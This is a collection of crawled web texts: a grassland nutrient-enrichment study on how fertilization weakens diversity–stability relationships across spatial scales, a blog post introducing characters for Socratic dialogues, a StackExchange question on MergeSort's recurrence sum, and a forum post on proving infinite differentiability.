,$ which exactly matches the result obtained, above, by taking the derivative of the potential. 1. In EFE this equation is written in terms of a variable $~I$ instead of $~I_\mathrm{BT}$ as defined here. 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https://www.nature.com/articles/s41467-020-19252-4?error=cookies_not_supported&code=d9eb5795-f269-49f1-945e-ab563779ccc4	## Introduction Humans are altering global nutrient cycles via combustion of fossil fuels and fertilizer application1. We have more than doubled preindustrial rates of nitrogen (N) and phosphorus (P) supply to terrestrial ecosystems2. Terrestrial N and P inputs are predicted to reach levels that are three to four times preindustrial rates by 2050 (ref. 3). This pervasive global eutrophication will have dramatic consequences on the structure and functioning of terrestrial and aquatic ecosystems3. In grasslands, nutrient enrichment usually increases primary productivity, but reduces plant diversity, and alters the ability of ecosystems to reliably provide functions and services for humanity4,5,6,7. Concerns that eutrophication compromises both the diversity and stability of ecosystems have led to a growing number of theoretical and empirical studies investigating how these ecosystem responses may be mechanistically linked4,6,8,9,10,11. These studies have repeatedly shown that the positive effect of plant species richness on the temporal stability of community productivity in ambient (unfertilized) conditions is usually reduced with fertilization4,5,6. However, these studies have primarily focused on plant responses at relatively small scales (i.e., within single local communities). Whether fertilization reduces the positive effect of diversity on temporal stability at larger scales (i.e., among neighboring local communities) remains unclear. Filling this knowledge gap is important because the stable provision of ecosystem services is critical for society12. This is especially true, given an increasing concern for large variability of environmental conditions due to multiple anthropogenic influences, including eutrophication and climate change13. A recent theoretical framework allows the quantification of the processes that determine the stability of ecosystem functioning at scales beyond the single local community (Fig. 1)14,15,16. Stability at any given scale is defined as the temporal mean of primary productivity divided by its standard deviation17. Higher local scale community stability (alpha stability) can result from two main processes. First, a higher average temporal stability of all species in the community (species stability) can stabilize community productivity due to lower variation in individual species abundances from year to year (Fig. 1b). Second, more asynchronous temporal dynamics among species in response to environmental fluctuations (species asynchrony) can stabilize community productivity because declines in the abundance of some species through time are compensated for by increases in other species (Fig. 1c). Higher stability at the larger scale (gamma stability) can result from higher alpha stability and more asynchronous dynamics across local communities (spatial asynchrony; Fig. 1d). Thus, the stabilizing effect of spatial asynchrony on productivity at the larger scale (spatial insurance hypothesis)14,18 mirrors the stabilizing effect of species asynchrony on productivity at the local scale (species or local insurance hypothesis)8,16,19,20. Higher species asynchrony and species stability can result from higher local species diversity through higher species richness9,21,22, higher species evenness8, or both (e.g., higher values of diversity indices—such as the Shannon index—that combines the two23; Fig. 1e). Higher spatial asynchrony can result from greater local species diversity or higher variation in species composition among communities (beta diversity)16. According to this framework, fertilization can affect the links between diversity, asynchrony, and stability across spatial scales (Fig. 1e and Table 1). At the local scale, fertilization can decrease niche dimensionality, and favor a few dominant plant species by affecting the competitive balance among species, potentially reducing the insurance effects of local diversity7,22. At the larger scale, fertilization can reduce spatial heterogeneity in community composition, and decrease variations among local plant community structure, potentially reducing the spatial insurance effect of beta diversity16. Moreover, fertilization often reduces plant diversity, which could in turn reduce asynchrony and stability at multiple scales4,9,17,24. However, the role of fertilization in mediating the functional consequences of biodiversity changes (variations in the number, abundance, and identities of species) and compensatory mechanisms (variation and compensation in species responses) that can affect the stable provisioning of ecosystem functions at larger spatial scales remains to be elucidated25. To our knowledge, only one recent study has assessed the effect of nutrient enrichment on stability within and among interconnected communities in a temperate grassland26. By adding different nitrogen treatments to communities in ten blocks spread out within a single site, that study found that 5 years of chronic nitrogen addition reduced alpha stability through a decline in species asynchrony, but had no effect on spatial asynchrony. However, these conclusions were based on a single grassland site manipulating a single nutrient, with the implicit assumption that the relationship between diversity and stability was unaffected by eutrophication. This argues for multisite comparative studies assessing the generality of the mechanistic links between these ecosystem responses to eutrophication. Here, we use a coordinated, multisite and multiyear nutrient enrichment experiment (±chronic nitrogen, phosphorus, and potassium addition, Nutrient Network (NutNet)27) to assess the scale dependence of fertilization impacts on plant diversity and stability. Treatments were randomly assigned to 25 m2 plots and were replicated in three blocks at most sites (Supplementary Data 1). Samples were collected in 1 m2 subplots across 243 communities from 42 grassland sites on six continents and followed a standardized protocol at all sites27. We selected these sites as they contained between 4 and 9 years of experimental duration (hereafter “period of experimental duration”), and three blocks per site, excluding additional blocks from sites that had more than three (Supplementary Data 1). Sites spanned a broad range of seasonal variation in precipitation and temperature (Supplementary Fig. 1), and a wide range of grassland types (Supplementary Data 1). In our analysis, we treated each 1 m2 subplot as a “community” and the replicated subplots within a site as the “larger scale” sensu Whittaker28. We computed diversity, asynchrony, and stability within a community (local “alpha” scale) and across the three replicated communities within a site (larger “gamma” scale) (see “Methods”). We then used bivariate analysis and structural equation modeling (SEM)29 to assess fertilizer impacts, and disentangle the relative contributions of diversity and asynchrony to stability (Fig. 1e). ## Results and discussion ### Fertilization effects on diversity, asynchrony, and stability Analyses of variance revealed the negative effects of nutrient inputs on biodiversity and stability at the two scales investigated, consistent with recent findings from a single site26. Fertilization consistently reduced species richness, alpha, and gamma stability, but had no effect on beta diversity (Supplementary Fig. 2). Bivariate analyses further revealed the negative effects of nutrient inputs on biodiversity–stability relationships at the two scales investigated (Fig. 2). Relationships were generally consistent across the different periods of experimental duration considered (Supplementary Table 1). Under ambient (unfertilized) conditions, species richness was positively associated with alpha and gamma stability (Fig. 2a, b), but fertilization weakened the positive effect of species richness on stability at the two scales (Fig. 2c, d). Fertilization reduced local stability of grassland functioning by increasing temporal variability in species-rich communities (Supplementary Fig. 3). Similarly, high beta diversity (variation in species composition among communities) was positively associated with spatial asynchrony and gamma stability under ambient conditions (Fig. 2e, f), but again fertilization weakened the positive effect of beta diversity on spatial asynchrony and gamma stability (Fig. 2g, h). These results remained when accounting for variation in climate using residual regression (Supplementary Fig. 4), when using local diversity indices accounting for species abundance (Supplementary Fig. 5), and when data were divided into overlapping intervals of 4 years (Supplementary Fig. 6). Our results extend previous evidence of the negative impact of fertilization on the diversity–stability relationship obtained within local plots and over shorter experimental periods4,6,26. Importantly, they show that these negative effects propagate from within to among communities. To our knowledge, our study is the first to report the negative impacts of fertilization on the relationships of beta diversity, with spatial asynchrony and gamma stability. ### Mechanisms linking diversity and stability To understand the relative role of local vs. larger scale community properties in determining asynchrony and stability at different spatial scales, we conducted SEM analyses, including all measures in a single causal model (Fig. 3, Supplementary Fig. 7 and Supplementary Table 2). Under ambient conditions, SEM revealed that higher plant species richness contributed to greater alpha and gamma stability largely through higher asynchronous dynamics among species (species asynchrony, standardized path coefficient = 0.39), and not necessarily through greater species stability (standardized path coefficient = 0.01; Fig. 3a and Supplementary Fig. 8a, b). The positive association between species richness and alpha stability is consistent with existing experimental17,24 and shorter-term observational evidence4,30,31. Our results confirm that the stabilizing effects of species richness in naturally assembled grassland communities is largely driven by species asynchrony, but not species stability4,6,22,26. In addition, they show that the positive impact of species richness on the stability of community productivity via species asynchrony in turn leads to greater stability of productivity at the larger spatial scale. While correlated with species richness, higher beta diversity also contributed to greater gamma stability through an independent pathway, namely via higher asynchronous dynamics among local communities (spatial asynchrony, standardized path coefficient = 0.20, Fig. 3a). While theoretical studies have suggested a role for beta diversity in driving spatial asynchrony15,16, previous empirical studies conducted along a nitrogen gradient at a single site26 or across 62 sites with non-standardized protocols21 did not find an association between these two variables. Here, we show that the presence of different species among local communities is linked to higher variation in dynamics among them, demonstrating the stabilizing role of beta diversity at larger spatial scales through spatial asynchrony. This also indicates the need for multisite replication with standardized treatments and protocols to detect such effects. Importantly, fertilization acted to destabilize productivity at the local and larger spatial scale through several mechanisms (Fig. 3 and Table 2). At the local scale, fertilization weakened the positive effects of plant species richness on alpha and gamma stability (Fig. 2a–d) via a combination of two processes (Fig. 3b and Supplementary Fig. 8c, d). First, the positive relationship between species richness and species asynchrony in the control communities (standardized path coefficient = 0.39, Fig. 3a), was weaker in the fertilized communities (standardized path coefficient = 0.20, Fig. 3b). Moreover, this general positive effect of richness on asynchrony was counteracted by a second stronger negative relationship of richness with species stability (standardized path coefficient = −0.37). Such negative effect of fertilization on species stability was not observed under ambient conditions, and could be due to shifts in functional composition in species-rich communities from more stable conservative species to less stable exploitative species in a temporally variable environment32,33. Together, these two effects explain the overall weaker alpha stability at higher richness with fertilization. We did not find evidence that the loss of diversity caused by fertilization (an average of −1.8 ± 0.5 species m−2, Supplementary Fig. 2a and Supplementary Fig. 9a) was related to the decline of alpha stability, confirming results from other studies5,6 and earlier NutNet results4 obtained over shorter time periods. This could be because the negative feedback of the loss of richness caused by fertilization on stability requires a longer experimental duration, or greater loss of plant diversity, to manifest9,34. Another possible explanation is that fertilization may have a direct positive effect on stability, by increasing community biomass (t = 2.41, d.f. = 326, P = 0.016) and enhancing stability via overyielding effects35, a formal test that would require monocultures. At the larger scale, fertilization reduced the strength of the relationship between beta diversity and gamma stability by reducing the strength of the relationship between beta diversity and spatial asynchrony (standardized path coefficient = 0.20 in Fig. 3a vs. standardized path coefficient = 0.03 in Fig. 3b). This result provides evidence that fertilization can reduce the stabilizing role of spatial asynchrony among initially dissimilar communities. We did not find evidence that this was due to a negative feedback of changes in beta diversity caused by fertilization on gamma stability (Supplementary Fig. 2b and Supplementary Fig. 9b). The positive relationship between beta diversity and spatial asynchrony, and the negative impact of fertilization on that relationship, suggests that the spatial insurance effect caused by variation in species composition among local communities may be disrupted in a eutrophic world. ### Implications Our results support the idea that asynchronous dynamics among species in species-rich communities play a stabilizing role, and show that this effect propagates to larger spatial scales21,26. Furthermore, to our knowledge, our study is the first to report the positive association between beta diversity and gamma stability through spatial asynchrony in real-world grasslands. Importantly, fertilization reduced the contribution of biodiversity to these stabilizing mechanisms at both scales, diminishing the local and spatial insurance of biodiversity on stability. Such diminished insurance effects lead to a reduced ecosystem stability at larger scales. Future climate will be characterized by more variability, including more frequent extreme events13. Our results indicate that preserving ecosystem stability across spatial scales in a changing world requires conserving biodiversity within and among local communities. Moreover, policies and management procedures that prevent and mitigate eutrophication are needed to safeguard the positive effects of biodiversity on stability at multiple scales. ## Methods ### Study sites and experimental design The study sites are part of the NutNet experiment (Supplementary Data 1; http://nutnet.org/)27. Plots at each site are 5 × 5 m separated by at least 1 m. All sites included in the analyses presented here included unmanipulated plots and fertilized plots with nitrogen (N), phosphorus (P), and potassium and micronutrients (K) added in combination (NPK+). N, P, and K were applied annually before the beginning of the growing season at rates of 10 gm−2 y−1. N was supplied as time-release urea ((NH2)2CO) or ammonium nitrate (NH4NO3). P was supplied as triple super phosphate (Ca(H2PO4)2), and K as potassium sulfate (K2SO4). In addition, a micronutrient mix (Fe, S, Mg, Mn, Cu, Zn, B, and Mo) was applied at 100 gm−2 y−1 to the K-addition plots, once at the start of the experiment, but not in subsequent years to avoid toxicity. Treatments were randomly assigned to the 25 m2 plots and were replicated in three blocks at most sites (some sites had fewer/more blocks or were fully randomized). Sampling was done in 1 m2 subplots and followed a standardized protocol at all sites27. ### Site selection Data were retrieved on 1 May 2020. To keep a constant number of communities per site and treatment, we used three blocks per site, excluding additional blocks from sites that had more than three (Supplementary Data 1). Sites spanned a broad envelope of seasonal variation in precipitation and temperature (Supplementary Fig. 1), and represent a wide range of grassland types, including alpine, desert and semiarid grasslands, prairies, old fields, pastures, savanna, tundra, and shrub-steppe (Supplementary Data 1). Stability and asynchrony measurements are sensitive to taxonomic inconsistencies. We adjusted the taxonomy to ensure consistent naming over time within sites. This was usually done by aggregating taxa at the genus level when individuals were not identified to species in all years. Taxa are however referred to as “species”. We selected sites that had a minimum of 4 years, and up to 9 years of posttreatment data. Treatment application started at most sites in 2008, but some sites started later resulting in a lower number of sites with increasing duration of the study, from 42 sites with 4 years of posttreatment duration to 15 sites with 9 years of duration (Supplementary Data 1). Longer time series currently exist, but for a limited number of sites within our selection criteria. ### Primary productivity and cover We used aboveground live biomass as a measure of primary productivity, which is an effective estimator of aboveground net primary production in herbaceous vegetation36. Primary productivity was estimated annually by clipping at ground level all aboveground live biomass from two 0.1 m2 (10 × 100 cm) quadrats per subplot. For shrubs and subshrubs, leaves and current year’s woody growth were collected. Biomass was dried to constant mass at 60 °C and weighed to the nearest 0.01 g. Areal percent cover of each species was measured concurrently with primary productivity in one 1 × 1 m subplot, in which no destructive sampling occurred. Cover was visually estimated annually to the nearest percent independently for each species, so that total summed cover can exceed 100% for multilayer canopies. Cover and primary productivity were estimated twice during the year at some sites with strongly seasonal communities. This allowed to assemble a complete list of species and to follow management procedures typical of those sites. For those sites, the maximum cover of each species and total biomass were used in the analyses. ### Diversity, asynchrony, and stability across spatial scales We quantified local scale and larger-scale diversity indices across the three replicated 1-m2 subplots for each site, treatment and duration period using cover data37,38. In our analysis, we treated each subplot as a “community” and the collective subplots as the “larger scale” sensu Whittaker28. Local scale diversity indices (species richness, species evenness, Shannon, and Simpson) were measured for each community, and averaged across the three communities for each treatment at each site resulting in one single value per treatment and site. Species richness is the average number of plant species. Shannon is the average of Shannon–Weaver indices39. Species evenness is the average of the ratio of the Shannon–Weaver index and the natural logarithm of average species richness (i.e., Pielou’s evenness40). Simpson is the average of inverse Simpson indices41. Due to strong correlation between species richness and other common local diversity indices (Shannon: r = 0.90 (95% confidence intervals (CIs) = 0.87–0.92), Simpson: r = 0.88 (0.86–0.91), Pielou’s evenness: r = 0.62 (0.55–0.68), with d.f. = 324 for each), we used species richness as a single, general proxy for those variables in our models. Results using these diversity indices did not differ quantitatively from those presented in the main text using species richness (Supplementary Fig. 5), suggesting that fertilization modulate diversity effects largely through species richness. Following theoretical models15,16, we quantified abundance-based gamma diversity as the inverse Simpson index over the three subplots for each treatment at each site and abundance-based beta diversity, as the multiplicative partitioning of abundance-based gamma diversity: abundance-based beta equals the abundance-based gamma over Simpson28,42, resulting in one single beta diversity value per treatment and site. We used abundance-based beta diversity index because it is directly linked to ecosystem stability in theoretical models15,16, and thus directly comparable to theories. We used the R functions “diversity”, “specnumber”, and “vegdist” from the vegan package43 to calculate Shannon–Weaver, Simpson, and species richness indices within and across replicated plots. Stability at multiple scales was determined both without detrending and after detrending data. For each species within communities, we detrended by using species-level linear models of percent cover over years. We used the residuals from each regression as detrended standard deviations to calculate detrended stability17. Results using detrended stability did not differ quantitatively from those presented in the main text without detrending. Stability was defined by the temporal invariability of biomass (for alpha and gamma stability) or cover (for species stability and species asynchrony), calculated as the ratio of temporal mean to standard deviation14,17. Gamma stability represents the temporal invariability of the total biomass of three plots with the same treatment, alpha stability represents the temporal invariability of community biomass averaged across three plots per treatment and per site, and species stability represents the temporal invariability of species cover averaged across all species and the three plots per treatment14. The mathematical formula are: $${\mathrm{Species}}\,{\mathrm{stability}} = \frac{{\sum _{i,k}m_{i,k}}}{{\sum _{i,k}\sqrt {w_{ii,kk}} }},$$ (1) $${\mathrm{Alpha}}\,{\mathrm{stability}} = \frac{{\sum _k\mu _k}}{{\sum _k\sqrt {v_{kk}} }},$$ (2) $${\mathrm{Gamma}}\,{\mathrm{stability}} = \frac{{\sum _k\mu _k}}{{\sqrt {\sum _{k,l}\nu _{kl}} }},$$ (3) where mi,k and wii,kk denote the temporal mean and variance of the cover of species i in subplot k; μk and vkk denote the temporal mean and variance of community biomass in subplot k, and vkl denotes the covariance in community biomass between subplot k and l. We then define species asynchrony as the variance-weighted correlation across species, and spatial asynchrony as the variance-weighted correlation across plots: $${\mathrm{Species}}\,{\mathrm{asynchrony}} = \frac{{\sum _{i,k}\sqrt {w_{ii,kk}} }}{{\sum _k\sqrt {\sum _{ij,kl}w_{ij,kl}} }},$$ (4) $${\mathrm{Spatial}}\,{\mathrm{asynchrony}} = \frac{{\sum _k\sqrt {v_{kk}} }}{{\sqrt {\sum _{k,l}\nu _{kl}} }},$$ (5) where wij,kl denotes the covariance in species cover between species i in subplot k and species j in subplot l. These two asynchrony indices quantify the incoherence in the temporal dynamics of species cover and community biomass, respectively, which serve as scaling factors to link stability metrics across scales14 (Fig. 1). To improve normality, stability, and asynchrony measures were logarithm transformed before analyses. We used the R function “var.partition” to calculate asynchrony and stability across spatial scales14. ### Climate data Precipitation and temperature seasonality were estimated for each site, using the long-term coefficient of variation of precipitation (MAP_VAR) and temperature (MAT_VAR), respectively, derived from the WorldClim Global Climate database (version 1.4; http://www.worldclim.org/)44. ### Analyses All analyses were conducted in R 4.0.2 (ref. 45) with N = 42 for each analysis unless specified. First, we used analysis of variance to determine the effect of fertilization, and period of experimental duration on biodiversity and stability at the two scales investigated. Models including an autocorrelation structure with a first-order autoregressive model (AR(1)), where observations are expected to be correlated from 1 year to the next, gave substantial improvement in model fit when compared with models lacking autocorrelation structure. Second, we used bivariate analyses and linear models to test the effect of fertilization and period of experimental duration on biodiversity–stability relationships at the two scales investigated. Again, models including an autocorrelation structure gave substantial improvement in model fit (Supplementary Table 1)46,47,48. We ran similar models based on nutrient-induced changes in diversity, stability, and asynchrony. For each site, relative changes in biodiversity, stability, and asynchrony at the two scales considered were calculated, as the natural logarithm of the ratio between the variable in the fertilized and unmanipulated plots (Supplementary Fig. 9). Because plant diversity, asynchronous dynamics, and temporal stability may be jointly controlled by interannual climate variability22, we ran similar analyses on the residuals of models that included the coefficient of variation among years for each of temperature and precipitation. Results of our analyses controlling for interannual climate variability did not differ qualitatively from the results presented in the text (Supplementary Fig. 4). In addition, to test for temporal trends in stability and diversity responses to fertilization, we used data on overlapping intervals of four consecutive years. Results of our analyses using temporal trends did not differ qualitatively from the results presented in the text (Supplementary Fig. 6). Inference was based on 95% CIs. Second, we used SEM29 with linear models, to evaluate multiple hypothesis related to key predictions from theories (Table 1). The path model shown in Fig. 1e was evaluated for each treatment (control and fertilized), and we ran separate SEMs for each period of experimental duration (from 4 to 9 years of duration). We generated a summary SEM by performing a meta-analysis of the standardized coefficients across all durations for each treatment. We then tested whether the path coefficients for each model differed by treatment by testing for a model-wide interaction with the “treatment” factor. A positive interaction for a given path implied that effects of one variable on the other are significantly different between fertilized and unfertilized treatments. We used the R functions “psem” to fit separate piecewise SEMs49 for each duration and combined the path coefficients from those models, using the “metagen” function50. ### Reporting summary Further information on research design is available in the Nature Research Reporting Summary linked to this article.	2022-11-28 16:34:23	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.5454425811767578, "perplexity": 4197.7718759954005}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 20, "end_threshold": 5, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-49/segments/1669446710533.96/warc/CC-MAIN-20221128135348-20221128165348-00050.warc.gz"}
http://last-conformer.net/2011/12/27/st-hypotheticus-members/	# Meet the cast One genre I'd like to try on my new blog is Socratic dialogue. The first one will go up on Friday. This post gives an overview of the characters and background I created for that purpose. The parishioners at St. Hypotheticus mostly like one another. But many of them are colorful characters and sometimes maintaining their sympathy requires them to keep a bit of a distance. For example, at last summer's parish picnic some of the nerdier parishioners got started on math jokes. It began small, with Carl quipping"Let $\varepsilon<0$." But soon the slightly intoxicated nerds where boring the crowd with math puns. After half an hour of hearing about Piano curves, Abelian soups, and Bananach spaces, Sally made them stop. Sally is the organizational backbone of the parish. She does most of the work and even Fr. Bill is afraid of her. The parish picnic, said Sally, was supposed to be family friendly fun and fellowship[1]. If they wanted drinking and nerdery they could separately meet for that purpose. That was the beginning of the St. Hypotheticus drinking and nerdery club. The inaugural members are: Carl, Sally's Husband. Since Sally isn't a member he got stuck with the presidency, i.e. with buying the beer. Carl is an electrical engineer and model railroad enthusiast. When they married Carl reluctantly agreed to live by Sally's very conservative interpretation of 1 Cor. 11:3. But after 20 years of headship he sometimes wonders if there might be some nerve damage. Jenny, the social justice Catholic. She is always carrying a petition for everyone else to sign. People who agree with her pretend they don't, just to see her get agitated. Occasionally she tries to bribe potential signatories with books. The deal is worth taking, because she's read everything and knows who will like what. Still in high school, Jenny plans to study psychology in college. Bob, a starving Thomist philosopher barely surviving by adjuncting at a nearby college. Sally regularly pesters him to get rid of his ratty clothes, arguing that Carl's cast-offs would still be a massive improvement. Bob doesn't see the need. The remote final cause of better clothing, he argues, is marriage and look where that led Carl. Matthew, the grumpy news-junkie. Matthew likes to joke he doesn't attend mass in the extraordinary form because he won't be satisfied before they go back to Aramaic. A Student of economics at St. Hieronymus university Matthew subscribes to several magazines and hundreds of blogs. While reading he fumes about people never learning. After all, he maintains, every political philosophy now extant is a replay of an early Church heresy. Still underage, he's dissatisfied about not being allowed to participate in the club's drinking. Clara, who's dual goals in life are practical research into creating the perfect pizza and the eradication of the Bayesian heresy. Clara works as an actuary and is alway busy preparing for exams. Albert, who found his dream job as a teacher of math and sciences at the local Catholic high school. Albert loves explaining things. He's not too particular about his victims actually wanting to know what he explains to them. Most of his free time is spent on hobby electronics. Kate, Albert's newly-wed wife. A lawyer and Harry Potter fan, Kate is working on her opus magnum on the constitution of magical Britain. She also maintains the drinking and nerdery club needs a proper charter and is trying to recruit a second member of the drafting committee. Somewhat unrealistically the club will not be seen praying on screen. That is because I don't want to give the impression of invoking divine sanction for the viewpoints I'll be arguing for. On friday we will listen in on the club's inaugural meeting, where they will discuss quantum mechanics and philosophy. Footnotes (↵ returns to text) 1. Sally is also auspicious about all alliterations absolutely anywhere. This entry was posted in Socratic dialogues and tagged . Bookmark the permalink.	2017-03-29 11:07:58	{"extraction_info": {"found_math": true, "script_math_tex": 1, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 1, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.2446993738412857, "perplexity": 6957.789344202061}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2017-13/segments/1490218190295.4/warc/CC-MAIN-20170322212950-00138-ip-10-233-31-227.ec2.internal.warc.gz"}
https://cs.stackexchange.com/questions/41079/why-does-sum-limits-i-0-lgn-1-theta-fracn2i-thetan-lgn?noredirect=1	# Why does $\sum\limits_{i=0}^{\lg(n)-1} \theta(\frac{n}{2^i}) = \theta(n\lg(n))$? I'm reading a proof on the time complexity of MergeSort which makes this statement without any justification. I've tried to show it myself but I'm not getting far; these are my steps so far. $\sum\limits_{i=0}^{\lg(n)-1} \theta(\frac{n}{2^i}) =\theta(n\sum\limits_{i=0}^{\lg(n)-1}\frac{1}{2^i})$ Now $\sum\limits_{i=0}^{\infty}\frac{1}{2^i} = 2$, so $\sum\limits_{i=0}^{\lg(n)-1}\frac{1}{2^i} \leq 2$. This means that $\theta(n\sum\limits_{i=0}^{\lg(n)-1}\frac{1}{2^i}) = \theta(2n) = \theta(n)$, but surely not. Where is my logic wrong? • You got a wrong equation to solve at the very start. The recurrence of MergeSort is $T(n) = 2T(n/2) + n$. By expanding it carefully, you will find that you have missed a factor $2^i$ for the summand. Apr 6 '15 at 13:13 • The proof shows through unwinding the recurrence that the running time of MergeSort is $\theta(n) + \sum\limits_{i=0}^{\lg(n)-1} \theta(\frac{n}{2^i}) = \theta(n\lg(n))$. Is this incorrect? Apr 6 '15 at 13:18 • It is $$\sum_{i=0}^{\lg n} 2^i (\frac{n}{2^i}) = \Theta(n \lg n)$$. For details, see this lecture note Page 2. Apr 6 '15 at 13:24 • See here for some thoughts on your first expression. (Though that's not the issue here.) – Raphael Apr 7 '15 at 7:27	2021-10-26 05:42:58	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.7235948443412781, "perplexity": 352.3932555723915}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-43/segments/1634323587799.46/warc/CC-MAIN-20211026042101-20211026072101-00207.warc.gz"}
https://brilliant.org/discussions/thread/infinite-differentiability/	× # Infinite Differentiability Hey Brilliant users, I haven't been on here in a while, I've been really busy with school lately. I have, however, found time to write a few original proofs in the past few weeks. At some point I'll put the better/more interesting ones up here. However, I'm having a somewhat annoying problem with one of my proofs. I probably won't post the proof on here for many reasons, one being the proof's actual length and the other being the originality of it. My problem is, the entirety of the proof rests on the fact that the function I'm considering is infinitely differentiable. Assuming this is true, the remainder of the proof is complex but manageable. For some reason, I'm having trouble proving that this function is infinitely differentiable. I know that it is, it wouldn't make sense for it not to be, but I'm having trouble applying full rigor to the problem. I don't want a direct answer, as I'd rather prove it myself, but I would like some advice if anyone can offer it. In short, my question is: How do you prove that a function is infinitely differentiable? Note by Ethan Robinett 3 years, 2 months ago MarkdownAppears as italics or _italics_ italics bold or __bold__ bold - bulleted- list • bulleted • list 1. numbered2. list 1. numbered 2. list Note: you must add a full line of space before and after lists for them to show up correctly paragraph 1paragraph 2 paragraph 1 paragraph 2 [example link](https://brilliant.org)example link > This is a quote This is a quote # I indented these lines # 4 spaces, and now they show # up as a code block. print "hello world" # I indented these lines # 4 spaces, and now they show # up as a code block. print "hello world" MathAppears as Remember to wrap math in $$...$$ or $...$ to ensure proper formatting. 2 \times 3 $$2 \times 3$$ 2^{34} $$2^{34}$$ a_{i-1} $$a_{i-1}$$ \frac{2}{3} $$\frac{2}{3}$$ \sqrt{2} $$\sqrt{2}$$ \sum_{i=1}^3 $$\sum_{i=1}^3$$ \sin \theta $$\sin \theta$$ \boxed{123} $$\boxed{123}$$ Sort by: The problem is to prove that the function given by y=0,x≤ 0 and y=$$e^{-1/x}$$ , x>0 is C∞ When x is less than 0, there's no problem as obviously the function is infinitely differentiable. Similarly, when x is greater than zero the function is infinitely differentiable, by the properties of the exponential function. As I see it, the difficulty arises in what happens right at 0. For the function to be differentiable there, the function needs to be continuous at 0, and for that to happen both the right hand and left hand limits need to equal 0. So for the function to be infinitely differentiable, one would need to show that in the limit the function $$e^{-1/x}$$ , and all its derivatives, go to zero as x goes to 0. Am I on the right track? Thanks for any advice. - 3 years, 2 months ago Well my understanding is that showing that the above function is continuous at 0 does not show that the function is differentiable there (differentiability implies continuity, but the opposite is not necessarily true). Also, like you said, that function would be differentiable everywhere except x=0. My issue is how would you rigorously prove that derivatives exist everywhere and for all orders of differentiation except at x=0? Like you said "When x is less than 0, there's no problem as obviously the function is infinitely differentiable." How would you go about proving that statement? - 3 years, 2 months ago	2017-12-17 12:08:26	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9786044955253601, "perplexity": 477.2513125321957}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2017-51/segments/1512948595858.79/warc/CC-MAIN-20171217113308-20171217135308-00351.warc.gz"}
